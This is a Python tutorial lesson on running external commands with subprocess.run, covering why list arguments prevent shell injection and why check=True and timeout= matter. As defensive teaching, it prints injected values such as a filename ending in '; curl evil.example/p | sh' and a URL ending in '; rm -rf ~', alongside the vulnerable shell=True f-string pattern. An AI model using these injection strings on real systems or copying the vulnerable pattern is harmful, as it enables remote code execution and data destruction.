open atlas
↑ Back to track
Python for JS/TS developers PY · 02 · 03

subprocess and shell-injection safety

Run external commands with subprocess.run and a list of args so no shell parses your input — the one change that turns shell injection into an inert string argument. Then bound every call with check=True and timeout= so failures and hangs surface instead of passing silently.

PY Senior ◷ 16 min
Level
FoundationsJuniorMiddleSenior

An internal thumbnail tool ran for two years before someone uploaded a file named x.png; curl evil.example/p | sh. The tool did the obvious thing: it shelled out to ImageMagick with subprocess.run(f"convert {filename} out.png", shell=True). The filename came straight from the upload form, so what reached /bin/sh was convert x.png; curl evil.example/p | sh out.png — two commands, not one. The shell ran convert, hit the ;, and then cheerfully ran the attacker’s curl … | sh on the server. No buffer overflow, no clever exploit chain. Just a string, an f-string interpolation, and a shell that does exactly what shell metacharacters tell it to. The same incident had a sequel a week later when a malformed upload made convert hang forever and pinned a worker — because nobody had set a timeout. This lesson is about the two lines that prevent both: pass a list, and bound the call.

subprocess.run: the modern API, and the list that disarms the shell

subprocess.run(...) is the one entry point you want for running an external program — it supersedes the older os.system and os.popen, which only ever took a shell string and gave you almost no control over the result. The single most important decision you make with run is how you pass the command, because it decides whether a shell is involved at all.

import subprocess

# SAFE: list of args. Python calls execve("git", ["git","clone",url]) directly.
# No shell. `url` is one literal argv entry — metacharacters in it mean nothing.
subprocess.run(["git", "clone", url])

# DANGEROUS: a single string + shell=True. Python hands the whole string to /bin/sh,
# which PARSES it — so anything in `url` like ; | && $() runs as its own command.
subprocess.run(f"git clone {url}", shell=True)

With the list form, subprocess execs the program directly through the OS execve family: the program is argv[0] and every other list element is passed as a literal argument, byte for byte. There is no /bin/sh in the chain, so there is nothing to interpret ;, |, &&, $(…), or backticks. A hostile url of https://h/r; rm -rf ~ is simply a (nonsensical, harmless) string argument handed to git, which rejects it as a bad URL. That is the whole defense: no shell, no shell injection.

Why this works

Why does the list form prevent injection while the string + shell=True form enables it? Because the list form bypasses the shell entirely — Python execs the target program directly and hands each list element to it as a literal argv entry, so shell metacharacters inside an argument have no special meaning; they are just bytes inside a string the program receives. shell=True instead runs your one string through /bin/sh, whose entire job is to parse that string: it splits on whitespace, expands $VAR and $(…), and treats ;, |, && as command separators. So any attacker-controlled substring can close the intended command and open a new one. The shell isn’t broken — it’s doing precisely what a shell does. The fix is to never give it the chance: keep the arguments as a list and leave shell at its default False.

shell=True is the injection vector — and shlex.quote is the consolation prize

The danger is not shell=True by itself; it is shell=True with interpolated untrusted input. The moment any part of that string comes from a user, an upload, an HTTP body, a filename, or another service, an attacker can smuggle shell metacharacters through it and break out of your intended command. This is textbook OS command injection (OWASP), and it does not require anything exotic — a ; or a $(…) is the entire payload.

# The vulnerability, in one line. `filename` is from an upload form.
subprocess.run(f"convert {filename} out.png", shell=True)   # filename = "x.png; <command>"

# The fix is not "quote harder" — it is "don't build a shell string at all":
subprocess.run(["convert", filename, "out.png"])            # filename is one inert argv entry

If you genuinely need a shell feature — a pipeline, a glob, a ~ expansion that only the shell does — then and only then reach for shlex.quote() to escape each untrusted piece before it enters the string. But treat that as the consolation prize: shlex.quote is one forgotten call away from a hole, whereas the list form is structurally safe with nothing to forget. Reach for the list first, every time; reach for a shell (with shlex.quote on every untrusted fragment) only when a shell feature is actually required.

Capturing output and actually checking the result

Once injection is impossible, the next question is: did it work? Running the command is half the job; reading what happened is the other half. subprocess.run([...], capture_output=True, text=True) captures the child’s stdout and stderr as decoded strings (without text=True you get raw bytes). The returned CompletedProcess carries .returncode — the exit code, where 0 is success and any non-zero is a failure the program is reporting to you.

r = subprocess.run(["git", "clone", url], capture_output=True, text=True)
if r.returncode != 0:
    raise RuntimeError(f"clone failed: {r.stderr}")   # don't sail past a non-zero exit

# Or let subprocess raise for you — check=True turns non-zero into an exception:
subprocess.run(["git", "clone", url], check=True)     # raises CalledProcessError on failure

The footgun here is the script equivalent of an unchecked error return: by default run does not raise on a non-zero exit, so a failing step looks like it succeeded and your script marches on. That is the cron-job bug where the nightly backup “ran fine” for months because the pg_dump step exited non-zero and nobody checked. The discipline is unconditional: either inspect .returncode yourself or pass check=True so a failed command raises CalledProcessError instead of passing silently.

timeout=: the bound that keeps a hung child from hanging you

External commands talk to networks, disks, and other processes — all of which can stall. subprocess.run([...], timeout=30) raises TimeoutExpired if the child hasn’t finished within the given seconds. Without it, a stuck git fetch against a dead mirror, a curl to a black-holed host, or a convert chewing on a malformed file will hang your script — and in CI, hang the whole pipeline — indefinitely.

try:
    subprocess.run(["git", "fetch"], check=True, timeout=30)
except subprocess.TimeoutExpired:
    # the child is killed; handle the stall instead of blocking forever
    log.error("git fetch exceeded 30s — aborting")

This is exactly the sequel to the thumbnail incident: a malformed upload made convert loop forever and pinned a worker, and the fix was a one-word addition, timeout=. Treat every external call as something that can hang, and bound it. Two related footguns round this out: reading large output via a raw subprocess.PIPE and then .wait() can deadlock when the OS pipe buffer fills and neither side drains it — run() (and Popen.communicate()) read the pipes for you and sidestep this; and pass env= explicitly when you need reproducibility or want to avoid leaking the parent’s secrets into the child, and cwd= to set the working directory instead of mutating the process with chdir.

CallShell?Injection riskVerdict
run([prog, arg], …)No (execve direct)None — arg is literalDefault. Use this.
run(f”prog {x}”, shell=True)Yes — /bin/sh parsesFull injection if x is untrustedAvoid with untrusted input
os.system(f”prog {x}“)Yes — always a shellSame injection, fewer controlsLegacy — don’t reach for it
run(cmd, shell=True) + shlex.quoteYes, but escapedLow if every piece quotedOnly when a shell feature is required
Pick the best fit

You must run `git clone <url>` where `url` is supplied by an untrusted user, safely and robustly. Which call do you ship?

Quiz

`url` is untrusted user input. Which subprocess.run call is injection-safe, and why?

Quiz

Beyond avoiding the shell, why must you set check=True (or inspect .returncode) and pass timeout=?

Recall before you leave
  1. 01
    Explain precisely why subprocess.run with a list of args is injection-safe while the string + shell=True form is not, and what the only correct mitigation is when you must use a shell.
  2. 02
    Besides defeating injection, what two bounds make an external-command call robust, what does each prevent, and what are the related PIPE/env footguns?
Recap

Running external commands safely comes down to one structural choice and two bounds. The choice: call subprocess.run with the command as a LIST of args, never as a string with shell=True. The list form execs the program directly through execve with no shell in the chain, so each element is a literal argv entry and shell metacharacters in a filename or url (;, |, &&, $(…)) are inert — a hostile input is just a (rejected) argument, never a second command. The string + shell=True form instead feeds /bin/sh, which parses the string, so any untrusted substring can break out and run its own command — classic OS command injection (OWASP), the exact bug behind the thumbnail tool that ran an uploaded filename x.png; <command> as a real shell command. os.system has the same flaw with fewer controls. Use shlex.quote on every untrusted fragment only when you truly need a shell feature; otherwise the list form has nothing to forget. Then bound the call: by default run does not raise on a non-zero exit, so set check=True (or inspect .returncode) to stop failures from passing silently like the cron backup that “ran fine” while exiting non-zero; and pass timeout= so a hung child (a dead-mirror git fetch, a looping convert) raises TimeoutExpired instead of blocking the script — the one-word fix to the thumbnail incident’s sequel. Round it out by reading output with run/communicate rather than a raw PIPE + wait() that can deadlock, passing env= explicitly to avoid leaking secrets, and cwd= instead of os.chdir. Now when you see a subprocess call with an f-string and shell=True, you know the exact class of incident it invites — and the one-line rewrite that closes it.

Practice

Start at the top. Tasks go easiest → hardest: recall a fact, apply it to a case, then a senior-level stretch. Open one, attempt it, then reveal.

recallapplystretch0 of 5 done

Something unclear?

Ask a question about this lesson. Questions are anonymous and go straight to the author to make the lesson better.

shortcuts expand
search
K
prev piece
k
next piece
j
cycle tier
t
this menu
?
sources2
expand
  1. 01
  2. 02

Trademarks belong to their respective owners. Editorial reference only.